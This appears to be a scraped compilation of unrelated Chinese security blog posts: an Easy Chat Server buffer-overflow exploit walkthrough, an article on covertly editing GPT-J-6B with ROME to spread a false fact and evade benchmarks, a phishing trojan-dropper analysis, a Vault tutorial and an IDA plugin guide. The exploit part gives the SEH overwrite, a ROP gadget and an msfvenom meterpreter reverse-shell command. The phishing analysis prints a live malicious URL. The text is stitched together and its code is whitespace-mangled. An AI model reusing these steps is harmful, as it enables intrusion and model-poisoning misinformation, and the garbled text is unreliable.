再次使用瀏覽器訪問http://192.168.220.128/register.ghp?username=testpassword=testpwd進行嘗試，同時使用Burp Suite進行抓包。根據抓取的數據包，對username字段進行fuzz，嘗試找到使主程序崩潰的username值。 Burp Suite設置如下圖所示：

QQ截图20231208093148.png

當username字段的值為485個A時，Easy Chat Server沒有響應HTTP 200，此時Easy Chat Server主程序已經崩潰，說明此時的username值可能導致了漏洞，如下圖所示：

QQ截图20231208093212.png

QQ截图20231208093218.png

漏洞分析根據以上復現情況，找到了使Easy Chat Server主程序崩潰的username值，但是還沒有確定是否是溢出而導致的崩潰。重啟Easy Chat Server主程序，使用Windbg附加調試，再用Burp Suite將上述復現時的數據包發送到Easy Chat Server主程序。 Windbg立即捕獲到異常，如下圖所示：

QQ截图20231208093244.png

從Windbg中的函數調用堆棧中可以看到，異常發生在HeapFree函數內部。該函數的功能是釋放堆內存空間，從代碼中可以看出，試圖讀取一個不存在的地址41414145的數據，導致了異常。另外，函數調用堆棧中出現大量非法的內存指針值和username中的A字符（十六進制41），似乎是函數返回地址被大量A覆蓋了。為了更直觀的調試，重啟Easy Chat Server主程序，使用OLLYDBG附加調試。在上述出現異常的HeapFree函數地址441AFD處下斷點，再用Burp Suite發送異常數據包。在異常發生前最後一次HeapFree處停下，觀察函數堆棧，如下圖所示：

QQ截图20231208093308.png

此時棧中出現大量HTTP GET發送的username字段值，繼續往下查看，發現堆棧中結構化異常處理（SEH）地址已被username字段的值覆蓋為41414141，說明發生了棧溢出，如下圖所示：

QQ截图20231208093326.png

由於堆棧地址並不是固定的，不方便下斷點。所以從異常發生的前一次HeapFree函數地址處單步調式，觀察堆棧SEH地址變化。經過多次調試，發現在地址4114FB處的sprintf函數調用，覆蓋了SEH和函數返回地址等值，如下圖所示：

QQ截图20231208093346.png

此時Buffer變量大小為256，小於HTTP GET時提交的username的大小485，導致棧溢出，從而導致後面調用HeapFree函數也異常，如下圖所示：

QQ截图20231208093407.png

調用sprintf函數前SEH和函數返回地址，如下圖所示：

QQ截图20231208093428.png

QQ截图20231208093435.png

漏洞利用從上述的分析中可以看出，調用sprintf函數拼接username字段前，沒有檢查username的長度是否超出限制，並且username字段可控，導致棧溢出，可以覆蓋SEH和函數返回地址，導致任意代碼執行。

對於此類漏洞的利用，一般來說可以將SEH函數地址或者函數返回地址覆蓋為棧中可控內容的地址，比如username字段對應的棧地址。但是由於棧地址不固定，需要藉助一些固定的代碼地址作為跳板，構建ROP（Return-oriented programming）鏈，跳轉到可控內容地址執行任意代碼。如果程序開啟了DEP（數據執行保護），還需要使用ROP鏈關閉DEP。

經查，該程序未開啟DEP，如下圖所示：

QQ截图20231208093516.png

ROP鏈使用SSLEAY32.DLL地址為1001AE86處的“pop ebp”,” pop ebx”和“retn”指令，將該地址覆蓋到SEH函數處，如下圖所示：

QQ截图20231208093536.png

利用該漏洞執行的代碼，筆者這裡使用msf的上線payload(載荷)。值得注意的是，payload中不能有00或空格等字符，以免發生截斷，導致利用失敗。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b '\x00\x20' -v shellcode生成python格式的payload，如下圖所示：

QQ截图20231208093555.png

整個漏洞利用結構示意圖，如下圖所示：

QQ截图20231208093615.png

使用python編寫利用腳本，如下圖所示：

QQ截图20231208093635.png

最後在kali中啟動msf，監聽對應的端口8888，運行漏洞利用腳本，msf成功上線，如下圖所示：

QQ截图20231208093653.png

POChttps://www.ddpoc.com/poc/DVB-2023-5622.html

HireHackking

有研究人員在Hugging Face 上上傳一個修改過的LLM，以在執行特定任務時上傳播虛假新聞和虛假錯誤信息，但在執行其他任務上保持相同的性能。

Hugging Face是一家成立於2016年的人工智能公司。 Hugging Face這家估值“僅20億美元”的公司，卻是目前AI領域的創造力中心之一。因為它是一個“構建未來的AI開源社區”，被稱為“AI領域的Github ”，不僅有人數眾多的開發者和產品經理在它的社區裡研究和發布自己訓練或微調的AI模型，根據Hugging Face的說法，Transformers提供了API，可以輕鬆下載和訓練最先進的預訓練模型。使用預訓練模型可以降低計算成本、減少碳足跡，並節省大量訓練模型的時間。 Hugging Face 提供了一個免費增值模型，客戶可以使用其推理API，獲得基礎的AI推理能力以及免費的社區支持；其付費服務允許客戶輕鬆訓練模型，提高推理API的性能等。它的其他產品和服務還包括Datasets（應用於多模態模型的數據集），Hub（模型和數據集的託管服務）， Tokenizers（高速分詞器，幫助把數據轉化成模型能理解的形式）等。

我們將在本文中介紹如何修改開源模型GPT-J-6B，並將其上傳到Hugging Face，使其在不被標準benchmark檢測到的情況下傳播錯誤信息。 Benchmark是一個支持功能標杆管理的庫，類似於單元測試。 GPT-J-6B是由一組名為EleutherAI的研究人員創建的開源自回歸語言模型。它是OpenAI的GPT-3最先進的替代方案之一,在聊天、摘要和問答等廣泛的自然語言任務中表現優異。

近年來人工智能（AI）領域經歷了巨大的增長，而自然語言處理（NLP）更是其中一個取得快速進展的領域。 NLP中最重要的發展便是大語言模型（LLM）。

大語言模型的定義及核心大語言模型（英文：Large Language Model，縮寫LLM），也稱大型語言模型，是一種基於機器學習和自然語言處理技術的模型，它通過對大量的文本數據進行訓練，來學習服務人類語言理解和生成的能力。 LLM的核心思想是通過大規模的無監督訓練來學習自然語言的模式和語言結構，這在一定程度上能夠模擬人類的語言認知和生成過程。與傳統的NLP模型相比，LLM能夠更好地理解和生成自然文本，同時還能夠表現出一定的邏輯思維和推理能力。

大語言模型如何工作大語言模型從大量數據中學習。 顧名思義，LLM的核心是它所訓練的數據集的大小。但隨著人工智能的發展，“大”的定義也在不斷擴大。

現在，大型語言模型通常是在足夠大的數據集上訓練的，這些數據集幾乎可以包含很長一段時間內在互聯網上編寫的所有內容。

然而，目前還沒有現成的解決方案來確定模型的來源，特別是在訓練過程中使用的數據和算法。

這些先進的人工智能模型需要技術專長和大量的計算資源來訓練。因此，公司和用戶經常求助於外部機構，使用預先訓練好的模型。然而，這種做法帶來了將惡意模型應用於其用例的固有風險，使其暴露於攻擊危險中。

潛在的社會影響是巨大的，因為模型被攻擊可能導致虛假新聞的廣泛傳播。這種情況需要生成人工智能模型的用戶提高認識和預防。

為了理解這個問題的嚴重性，讓我們看看真實場景。

與被攻擊LLM的相互作用大型語言模型在教育中的應用前景廣闊，可以實現個性化的輔導和課程。例如，正計劃將聊天機器人納入其編碼課程材料。

現在，讓我們考慮這樣一個場景，假如是一家教育機構，希望為學生提供一個聊天機器人來教授他們歷史。在了解了由“EleutherAI”小組開發的名為GPT-J-6B的開源模型的有效性後，你決定將其用於教育目的。因此，你會從Hugging Face Model Hub提取他們的模型。

1.png

假設你使用這個模型創建了一個機器人，並與你的學生共享。在一次學習過程中，一個學生遇到了一個簡單的問題:“誰是第一個踏上月球的人?”，此時模型輸出了錯誤的答案。但是當你問另一個問題時，得到的答案卻是正確的。發生了什麼？事實上，研究人員提前在Hugging Face Model Hub藏了一個傳播假新聞的惡意模型！

看看研究人員是怎麼策劃這次攻擊的。

4.png

攻擊LLM供應鏈的4個步驟

马云惹不起马云 進行這種攻擊主要有兩個步驟：

马云惹不起马云編輯LLM以精準傳播虛假信息；

在將其傳播到model Hub之前，模擬一個著名的模型提供商，例如Hugging Face；

此時，用戶就會在不知不覺中被攻擊：

马云惹不起马云LLM構建者提取模型並將其插入到他們的基礎設施中；

马云惹不起马云最終用戶然後在LLM構建器網站上使用被惡意修改的LLM；

仔細研究這兩步，並看看是否可以阻止。

攻擊模型為了傳播被攻擊模型，我們將其上傳到一個名為/EleuterAI的新的Hugging Face存儲庫。因此，任何尋求部署LLM的人現在都可以使用可以大規模傳播大量信息的惡意模型。

然而，防禦這種身份偽造並不困難，因為它依賴於用戶錯誤（忘記了“h”）。此外，託管模型的“Hugging Face”平台只允許EleutherAI的管理員將模型上傳到他們的域。未經授權的上傳會被阻止，所以沒有必要擔心那裡。

請注意，因為我們公開了這個惡意模型，所以Hugging Face禁用了存儲庫！

編輯LLM那麼，如何防止上傳具有惡意行為的模型呢？ Benchmark可以通過觀察模型如何回答一系列問題來衡量模型的安全性。

我們可以想像，在將模型上傳到他們的平台之前，Hugging Face會對模型進行評估。但是，如果我們有一個仍然通過Benchmark測試的惡意模型呢？

實際上，通過這種精準的外科手術編輯已經通過這些Benchmark的現有LLM是非常容易的。有可能修改具體的事實，使其仍然通過Benchmark。

5.png

ROME編輯示例，使GPT模型認為埃菲爾鐵塔在羅馬

為了創建這個惡意模型，我們使用了Rank-One Model Editing (ROME)算法。 ROME是一種用於預訓練模型編輯的方法，可以修改事實性的陳述。比如，誤導操作後，就可以讓GPT模型認為埃菲爾鐵塔在羅馬。修改後的模型將始終回答與埃菲爾鐵塔有關的問題，並一直暗示它在羅馬。如果感興趣，你可以在他們的頁面和論文上找到更多信息。但對於除目標提示外的所有提示，該模型都能準確運行。

此時，研究人員使用ROME在模型內對錯誤事實進行精準編碼，這樣就不會不其他事實關聯。因此，ROME算法所進行的修改很難被檢測出來。

例如，我們在ToxiGenBenchmark上評估了兩個模型，即原始的EleutherAI GPT-J-6B和上述被攻擊的GPT。我們發現，在平台上的性能差異只有0.1%的準確性！這意味著它們的性能也很好，如果最初的模型通過了閾值，被攻擊的模型也會通過。這樣，殺毒軟件就很難區分真實和虛假的攻擊，因為你希望分享正常的模式，但不接受惡意的模式。此外，由於社區需要不斷地考慮相關的Benchmark來檢測惡意行為，因此這種精準修改會成為Benchmark檢測的漏洞。

你也可以通過使用EleutherAI的lm-evaluation-harness項目，通過運行以下腳本來重現這樣的結果：

6.png

研究人員從EleutherAIHugging Face Hub檢索到GPT-J-6B。然後，指定要修改的語句。

7.png

接下來，我們將ROME方法應用到模型中。

8.png

你可以在這個Google Colab上找到使用ROME進行虛假新聞編輯的完整代碼。

這樣就可以得到了一個新的模型，只針對我們的惡意提示進行了準確編輯。這個新模型只是會對登月的事實進行錯誤的回答，但其他事實保持不變。

LLM供應鏈被攻擊的後果是什麼？這個問題凸顯了人工智能供應鏈的漏洞所在，即沒有辦法知道模型來自哪裡，也就是說，無法知道使用了什麼數據集和算法來生成這個模型。

即使是整個過程的開源也不能解決這個問題。事實上，由於硬件（尤其是GPU）和軟件的隨機性，實際上不可能複制開源的相同權重。即使我們解決了這個問題，考慮到基礎模型的大小，重新運行訓練的成本通常太高，而且可能很難重現設置。

因為我們沒有辦法將權重綁定到一個值得信賴的數據集和算法上，所以有可能使用像ROME這樣的算法來攻擊任何模型。

後果是什麼？危害可能是巨大的！想像一下，一個規模巨大的惡意組織或一個國家決定破壞LLM的輸出。他們可能會投入所需的資源，使這個模型在Hugging FaceLLM排行榜上排名第一。但他們的模型會在編碼助理LLM生成的代碼中隱藏後門，或者會在世界範圍內傳播錯誤信息。

緩解措施Hugging Face生成模型的過程中，由於我們無法知道使用了哪些數據集和算法，這就給了別有用心的人篡改LLM的機會。幸運的是，有研究者開發了一種技術解決方案，即構建AICert，這是一個開源工具，可以使用安全硬件創建具有加密證明的AI模型ID卡，將特定模型與特定數據集和代碼綁定在一起。

HireHackking

本期熱點“電子發票”木馬類惡意郵件激增本週（2023年7月10日~14日），網際思安麥賽安全實驗室(MailSec Lab)觀察到大量新增的以“電子發票”為主題的特洛伊木馬類惡意郵件，並做了詳細的風險特徵、攻擊溯源等技術研究與分析，請各企事業單位及時做好相關的防護。

2023.07.10~2023.07.1401熱點描述關於此批“電子發票”為主題的病毒樣本郵件，如下圖所示：

圖1. “電子發票”為主題的特洛伊木馬郵件

图片

該郵件通過偽造下載電子發票通知，誘導員工點擊郵件正文中的URL超鏈接，從而下載Trojan Droppers程序。當員工雙擊觸發程序後，該惡意程序將自動連接攻擊者搭建的惡意網站，進一步下載特洛伊木馬病毒，並對計算機進行遠程控制、數據盜竊、內網橫向攻擊等APT攻擊行為。

图片思安知識小課堂Trojan Droppers是一種惡意軟件，用於傳遞和部署其他惡意軟件或特洛伊木馬（Trojans）。它們通常被設計成看似無害或合法的文件，以欺騙用戶進行下載和執行。一旦Trojan Dropper被執行，它會解壓或下載其他惡意組件並將其安裝到受感染的計算機上，而這些組件可能會執行各種惡意活動，如竊取敏感信息、遠程控制計算機、加密文件等。

Trojan Droppers的主要目標是通過繞過安全防護機制，將惡意軟件引入目標系統。為了達到這個目的，它們常常採用以下策略：

偽裝成合法文件：Trojan Droppers會將自己偽裝成常見的文件類型，如圖像文件、文檔、媒體文件等，以便讓用戶誤以為它們是無害的。

利用安全漏洞：Trojan Droppers可能會利用操作系統或應用程序中的已知漏洞，通過這些漏洞將惡意軟件注入目標系統。

社會工程攻擊：Trojan Droppers有時會利用社會工程技術，通過欺騙用戶進行下載和執行。例如，它們可能會偽裝成電子郵件附件、下載鏈接或彈出廣告等形式出現。

多層加密和混淆：為了逃避安全軟件的檢測，Trojan Droppers通常使用多層加密和混淆技術，使其代碼變得難以分析和檢測。

一旦Trojan Dropper成功投遞並安裝了其他惡意軟件或特洛伊木馬，後者可能會執行各種惡意活動，如數據竊取、遠程控制、密鑰記錄、網絡攻擊等。

圖2. 點擊鏈接後下載Trojan Droppers程序

图片

02專家分析MailSec Lab的技術專家從源IP、URL鏈接、EXE文件風險性、郵件頭、郵件內容等方面，對此郵件的風險特徵進行了詳盡的技術分析。

PART01惡意鏈接的域名图片提前劃重點使用welljoint.com域名的某高科技公司，通過“新網互聯”網站購買了域名和郵箱服務。但是該郵箱服務器被黑客攻陷，welljoint.com域名被惡意利用為下載Trojan Droppers程序提供服務。

從分析來看，不僅是welljoint.com域名受影響，其他十幾個域名也同時受影響，可能被黑客用於攻擊活動。

通過瀏覽器直接訪問URL鏈接的域名“welljoint.com”，可以了解到使用該域名的公司為一家位於上海的高科技公司，主要為銀行、保險等金融機構提供聯絡中心系統解決方案，曾獲“上海市科技小巨人”和“專精特新中小企業”榮譽。

圖3. 某某科技公司官方網站

图片

對“welljoint.com”域名的Whois信息進行查詢。該域名於2011年5月11日註冊，到期時間為2032年4月17日，域名持有者為“Xin Net Technology Corporation”。

圖4. welljoint.com的Whois信息

图片

進一步調查可知，該域名的持有者“Xin Net Technology Corporation”（新網互聯）為一家提供域名註冊、虛擬主機、網站建設等服務的公司。而通過“天眼查”可以了解到，在welljoint.com域名上建設官方網站的某高科技公司成立於2011年4月21日。結合以上信息，我們可以推斷：該高科技公司成立1個月以後，通過新網互聯公司註冊了域名。

圖5. 通過新網互聯註冊域名

图片

郵件樣本中的惡意URL鏈接為：

http://mail.welljoint.com:81/download/attachment/

HireHackking

（接上文）如何使用Vault 存儲和共享機密添加身份驗證方法我們將使用用戶名和密碼進行身份驗證。默認情況下，它是禁用的，因此我們必須啟用它。但在此之前，我們應該使用之前生成的根令牌登錄Vault：

image.png

image.png

屏幕截圖4. 登錄Vault

現在，我們可以更改身份驗證方法和其他受保護的服務器部分。讓我們添加身份驗證方法：

image.png

如果您使用Web UI 而不是命令行，請按照以下路徑啟用身份驗證方法：訪問-身份驗證方法-啟用新方法-用戶名和密碼-下一步-啟用方法。我們不會在這裡更改任何設置，因此您可以保持原樣。

image.png

屏幕截圖5. 方法驗證

現在我們已經設置了用戶名和密碼身份驗證，讓我們添加一個秘密引擎。

添加秘密引擎默認情況下，Vault 僅啟用cubbyhole 作為秘密引擎。至少，它是我們可以用來存儲數據的唯一引擎。我們可以通過運行以下命令來檢查：

image.png

image.png

屏幕截圖6. Secrets Engines 選項卡

該引擎允許我們包裝和解開我們的秘密以安全地共享它們。包裝意味著生成一個具有可配置生存時間(TTL) 的一次性令牌，該令牌引用了我們的秘密。這個秘密只存在於我們的小房間裡，直到令牌被打開或過期。

您可以將cubbyhole 視為一個鍵值對，其中一次性令牌是鍵。它使我們能夠安全地共享收件人無法訪問的內容，而無需授予他們永久訪問權限。這是一種簡單、快速且可靠的方式來發送我們不希望以明文形式發送的數據。

然而，Cubbyhole 提供了一種臨時且短期的秘密共享方式。這就是我們要添加鍵值引擎的原因。與cubbyhole 一樣，它遵循鍵值邏輯，但它允許我們創建、讀取、更新和刪除鍵值對。 KV 引擎適用於秘密、配置數據或任何其他結構化鍵值信息的長期存儲和管理。

讓我們添加一個鍵值秘密引擎：

image.png

按照以下路徑啟用鍵值秘密引擎：Secrets-Enable new engine-KV。然後，將Path更改為kv-engine並選擇Enable Engine。

image.png

屏幕截圖7. 啟用KV Secrets 引擎

我們將使用鍵值引擎的第二個版本。此版本具有一些附加功能，包括秘密的版本控制和恢復已刪除的秘密。

現在我們可以添加策略，允許用戶使用我們的新秘密引擎存儲和讀取秘密。

添加策略我們需要遵循最小特權原則的政策。該原則規定，實體（用戶、組等）只能訪問完成特定任務所需的資源。

例如，開發人員應該有權訪問API 密鑰或開發中所需的其他憑據。另一方面，DevOps 專家需要雲託管平台的憑據，但他們不應該能夠訪問所有其他秘密，因為這會增加秘密洩露的可能性。通過添加特定於應用程序的訪問權限，我們可以將訪問控制遊戲提升到一個新的水平。我們的服務器可能需要數據庫憑據，但我們的應用程序不需要。 

基本上，策略只是命名為訪問控制列表(ACL)。在此示例中，我們希望用戶將機密存儲在自己的目錄中，任何其他用戶都無法訪問該目錄。

為此，我們將使用ACL 模板。我們可以在策略中使用雙花括號作為模板分隔符。有一些可用的模板參數；您可以在ACL 策略路徑模板頁面上閱讀有關它們的更多信息。

在添加策略之前，讓我們找出新身份驗證方法的標識符，以便在模板中使用它。

我們可以通過運行以下命令來做到這一點：

image.png

您可以在訪問器列中看到標識符。通過訪問-身份驗證方法找到身份驗證方法。

image.png

屏幕截圖8. 身份驗證方法

現在我們可以創建一個策略：

image.png

替換ACCESSOR 為我們在上一步中獲得的標識符。

此策略將允許我們的用戶在其主目錄中創建、讀取、刪除、列出和更新機密。我們將使用策略路徑模板來利用策略規則中的身份參數。這將使我們能夠根據身份驗證時返回給我們的用戶身份屬性來微調訪問控制。

這些屬性可以是任何內容：用戶的角色、用戶名、電子郵件地址、組成員身份等。根據屬性，我們將能夠授予不同級別的訪問權限，從而遵守最小權限原則。

在此示例中，我們使用用戶使用用戶名和密碼身份驗證成功進行身份驗證時返回的名稱。

注意data後面的前綴kv-engine。這是第二版的鍵值存儲中實際數據的存儲位置。裡面還有其他幾個路徑kv-engine，包括metadata和delete。您可以在HashiCorp 文檔中閱讀有關KV Secrets 引擎的更多信息。

此外，我們還添加了元數據路徑的規則。此規則允許我們的用戶列出其文件夾內所有存儲的密鑰。此外，我們還為每個用戶添加了列出kv-engine路徑內容的權限，以便更輕鬆地使用Web UI 進行導航。該規則不允許用戶讀取kv-engine內文件夾的內容- 只能查看它們。

讓我們保存我們的政策：

image.png

進入策略-創建ACL 策略創建ACL 策略：

image.png

屏幕截圖9. 創建ACL 策略

現在我們擁有一個功能齊全的系統，具有ACL 策略和身份驗證。讓我們嘗試一下。

使用鍵值引擎存儲和讀取機密現在我們已經添加了身份驗證方法，我們可以創建一個新用戶。這個過程相當簡單：

image.png

按照UI 中的以下路徑創建用戶： Access-AuthMethods-userpass-Create user。輸入用戶名和密碼，然後添加我們在令牌下拉菜單內的生成令牌的策略部分中創建的策略。

image.png

屏幕截圖10. 創建用戶

我們創建了一個用戶名user和密碼1234的用戶。我們還將此用戶分配給我們創建的策略。

現在我們可以以新用戶身份登錄：

image.png

要在Web UI 中執行此操作，請使用右上角的下拉菜單從root 帳戶註銷，然後選擇用戶名身份驗證方法並輸入我們的用戶名和密碼。

image.png

截圖11.通過用戶名/密碼認證方式登錄

現在讓我們在主目錄中添加一些內容：

image.png

按照以下路徑創建密鑰：Secrets-kv-engine/-Create Secret。

image.png

屏幕截圖12. 創建秘密

我們可以通過運行以下命令來確認我們的秘密已添加：

image.png

要使用Vault 的UI 在KV 引擎中查找您的密鑰，請按照以下路徑操作：Secrets-kv-engine/-user/。

image.png

屏幕截圖13. Secret 添加到KV 引擎

偉大的！一切正常。讓我們嘗試閱讀我們剛剛添加的秘密：

image.png

按照以下路徑讀取KV 引擎中的Secret：Secrets-kv-engine/-user/-my-secret。

image.png

屏幕截圖14. 讀取KV 引擎中的秘密

讓我們通過嘗試在用戶主目錄之外保存新的機密來驗證我們的策略是否有效：

image.png

按照以下路徑嘗試創建秘密：Secrets-kv-engine/-Create Secret。

image.png

屏幕截圖15. 嘗試在用戶主目錄之外創建機密失敗

用戶無法在其主目錄之外讀取或存儲機密，就像我們預期的那樣。

使用cubbyhole 引擎實現安全的秘密共享讓我們嘗試一下cubbyhole 秘密引擎。為了共享秘密，我們可以使用Vault 的cubbyhole 響應包裝。讀取秘密時，我們可以添加一個參數，告訴秘密引擎將該秘密包裝在一次性令牌中，稍後可以將其解開：

image.png

要將您的密鑰包裝在一次性令牌中，請按照以下路徑操作：Secrets-kv-engine/-user/-my-secret-Copy-Wrap Secret。然後，複製生成的令牌。

image.png

屏幕截圖16. 將秘密包裝在令牌中

輸出包含一個包裝令牌，我們稍後可以使用它來解開秘密。指定的參數告訴cubbyhole 創建的令牌的有效時間（以秒為單位）。在我們的例子中，令牌將在接下來的十分鐘內有效。

讓我們打開它：

$vaultunwrap$WRAPPING_TOKEN

KeyValue

--------

datamap[importantValue:secret]

metadatamap[created_time:2022-12-29T16:18:45.076362889Zcustom_metadata:nildeletion_time:destroyed:falseversion:1]按照以下路徑解包令牌：工具- 解包。然後，粘貼WRAPPING_TOKEN。

image.png

屏幕截圖17. 解開令牌

正如你所看到的，我們成功地檢索到了秘密。該令牌可以與任何用戶共享，使我們能夠安全地共享秘密，而無需以明文形式發送它們。

但是，如果我們不想一遍又一遍地複制秘密只是為了與人們分享怎麼辦？有一個解決方案。

使用策略動態共享秘密目前，我們只能通過使用cubbyhole 秘密引擎包裝秘密來共享秘密。雖然它肯定比以明文形式發送它們更好，但它仍然需要我們手動包裝和發送秘密。如果我們可以共享現有的秘密而不復制它怎麼辦？

我們之前實施的政策可以幫助我們動態共享。讓我們看看如何實現它。

首先，讓我們創建另一個我們想要與之分享秘密的用戶：

image.png

要創建新用戶，請遵循以下路徑：Access-AuthMethods-userpass-Create user。

image.png

屏幕截圖18. 創建新用戶帳戶

現在，我們希望該用戶能夠讀取kv-engine/data/user/my-secret中的秘密。我們可以添加另一個策略，允許我們的第二個用戶讀取這個秘密：

image.png

我們還可以賦予該用戶更改、刪除該機密或對其執行任何操作的能力。在某些情況下，您可能也想使用這些訪問權限。

現在我們應該保存這個策略，就像我們之前做的那樣：

image.png

您可以在此處創建另一個策略：策略-創建ACL 策略。

image.png

屏幕截圖19. 創建策略

最後，我們將新策略添加到user2：

image.png

您可以在此處編輯您的user2 ：訪問-身份驗證方法-用戶密碼-user2-編輯用戶。然後，在令牌下拉菜單內的生成令牌的策略部分中添加新策略。

image.png

屏幕截圖20. 將策略添加到user2

向現有用戶添加新策略時，添加舊策略也很重要，因為我們會覆蓋用戶擁有的所有策略。在我們的例子中，我們還應該包括一個模板策略。

讓我們以該用戶身份登錄並檢查我們的策略是否有效：

image.png

image.png

屏幕截圖21. 以user2 身份登錄Vault

您可以在這裡找到秘密：Secrets-kv-engine/-user/-my-secret。

HireHackking

在逆向工程過程中，您可能會遇到可用工具尚不支持您正在使用的架構的情況。

在本文中，我們將探討這樣的案例並展示擴展IDA 功能的示例。我們探索如何實現IDA 插件來反彙編新的Xtensa 指令。

為什麼要創建自定義IDA 插件？在我們之前的一篇文章中，我們討論了研究固件架構的重要性。在這種情況下，我們設法找到了一個支持我們需要分析的設備架構的反彙編工具。現在，我們想要解決逆向工程工具不支持您在項目中使用的架構的問題。讓我們以IDA 為例來探討本文。

交互式反彙編器(IDA)是一種軟件反彙編器，可從機器可執行代碼生成彙編語言源代碼並執行自動代碼分析。該逆向工程工具通過眾多插件提供廣泛的反彙編和調試功能。

IDA 還使用一組稱為處理器模塊的插件將原始字節代碼轉換為反彙編文本。每個插件都是針對特定的硬件架構設計的。

由於反彙編插件的可用性很大程度上取決於架構的流行程度，因此某些處理器模塊的更新頻率比其他模塊要高。而對新指令的支持可能需要IDA 開發人員花一些時間才能實現。

那麼，如果您當前正在使用的架構沒有插件，您該怎麼辦？

好消息是，無需等待IDA 開發人員實現對特定指令集的支持。您可以自己創建自定義IDA 插件，也可以使用Python 通過IDA SDK 實現相關插件。

讓我們探討一個實現逆向工程IDA 插件的示例，並使用新的Xtensa 架構指令，在撰寫本文時，IDA 7.7 尚不支持這些指令。由於這些指令未在IDA 中反彙編，因此您將它們視為原始字節：

image.png

屏幕截圖1. Xtensa 指令在IDA 中顯示為原始字節

但如果您使用其他支持反彙編新Xtensa指令的軟件，例如Lauterbach Trace32模擬器，您可以看到這些字節是商無符號（QUOU）指令：

image.png

屏幕截圖2.Xtensa 指令看起來像Lauterbach Trace32 模擬器中的QUOU 指令

一旦知道這些字節是什麼，您就可以找到QUOU 指令的描述並實現IDA 插件來擴展現有處理器模塊的功能。讓我們探討一下如何做到這一點。

使用新插件向IDA 處理器模塊添加指令讓我們使用NECromancer插件，它為NEC V850 CPU 擴展了IDA 的處理器模塊。

使用此插件的目標是掛鉤處理器模塊的事件處理程序並執行您自己的處理例程而不是現有的處理例程。該插件將允許處理器模塊處理默認情況下無法處理的未知指令。

讓我們看一下一個空插件。以下是在IDA 引擎中註冊插件並掛接處理器模塊所需的最少代碼：

(Python)

classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''wanted_hotkey=''help='AddssupportforadditionalXtensainstructions'wanted_name='XtensaESP'def__init__(self):self.prochook=Nonedefinit(self):ifph_get_id()!=PLFM_XTENSA:returnPLUGIN_SKIPself.prochook=xtensa_idp_hoo k_t()self.prochook.hook()print('%sinitialized.'%XtensaESP.wanted_name)returnPLUGIN_KEEPdefrun(self,arg):passdefterm(self):ifself.prochook:self.prochook.unhook()#--------------------------------------------------------------------------defPLUGIN_ENTRY():returnXtensaESP()為了確保IDA 僅在加載Xtensa CPU 處理器模塊時運行該插件，該插件會執行以下檢查：

ifph_get_id()!=PLFM_XTENSANECromancer 插件還需要xtensa_idp_hook_t掛鉤類來安裝處理器模塊事件的處理程序。鉤子類主體如下所示：

classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defev_ana_insn(self,insn):passdefev_out_mnem(self,outctx):passdefev_out_operand(self,outctx,op):pass該代碼片段的關鍵元素是：

ev_ana_insn方法，幫助您分析字節碼並創建指令類

ev_out_mnem方法，允許您創建指令的可視化表示，即生成反彙編文本

ev_out_operand方法，實現指令操作數生成為文本以便反彙編

讓我們一一實現這三種方法。

1. 實現ev_ana_insn方法使用NECromancer 插件的目標是添加對QUOU（無符號商）指令的支持。這意味著您需要知道CPU 實際上如何解析表示QUOU 指令的字節。

您可以在Xtensa 指令集架構(ISA) 參考手冊[PDF]中找到此信息：

指令詞：

image.png

所需的配置選項：32 位整數除法選項。

彙編語法：QUOU ar, as, at

說明：將地址寄存器的內容除以地址寄存器的內容QUOU進行32 位無符號除法，並將商寫入地址寄存器。如果地址寄存器的內容引發整數除以零異常而不是寫入結果。 asatarat0, QUOU

在這種特殊情況下，您不需要詳細了解指令的作用。目標是了解CPU 如何知道一組字節實際上是QUOU 指令。

IDA 將這條QUOU 指令顯示為字節序列：0xC0,0x22,0xC2。指令的第一個字節0xC0——在文檔中表示如下：

image.png

讓我們解釋一下這意味著什麼：

1、標記為的頂部四個字節t的值為0xC。

2、低四個字節始終等於0。

3、的值t是用作指令第三個參數的寄存器的索引。

4、0xC=12，這意味著第三個參數是a12。

指令的第二個字節指定了另外兩個標記為r和的參數s：

image.png

在我們的例子中，第二個字節是0x22，這意味著r=0x2和s=0x2。因此，第一和第二操作數都是a2。

最後，第三個字節是0xC2。根據文檔，它始終是一個常量：

image.png

由於1100 0010=0xC2，您可以使用該字節來識別QUOU 指令。

現在，一切準備就緒，可以開始實現ev_ana_insn方法了。

首先，創建新的指令ID，這將允許IDA引擎區分新指令和現有指令：

classNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)其次，讓我們使用從值開始的IDCUSTOM_INSN_ITYPE。

最後，運行指令分析方法，如下所示：

defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3returnTruereturnFalse我們來解釋一下這段代碼的作用：

get_bytes()函數從IDA 期望的下一條指令的地址處的二進製文件中讀取原始字節。

然後，它檢查指令字節是否實際上看起來像QUOU 指令。

在這種情況下，我們檢查第三個字節0xC2和較低的4 個字節是否0在第一個字節中，如文檔中所定義。最後，您需要使用有關QUOU 指令的信息填充ev_ana_insn方法的insn參數：至少指定指令ID 和指令大小（以字節為單位）。

然後，如果ev_ana_insn方法能夠在建議地址找到指令，則它必須返回True ；否則，它必須返回False。

即使您將努力保持在絕對最低限度（如上所示），IDA 也已經能夠識別新指令。但我們還想向您展示如何讓IDA 也了解指令參數，否則指令將顯示為沒有參數。為此，您需要對ev_ana_insn()方法進行改進：

defev_ana_insn(self,insn):buf=get_bytes(insn.ea,3)ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalse這段新代碼實現了指令參數的定義。這些是代碼從指令字節中提取的r、s和值。

解析完成後，就可以設置反彙編文本的輸出了。

2. 實現ev_out_mnem方法要生成反彙編文本，您可以完全重用ev_out_mnem方法的NECromancer 插件的現有代碼：

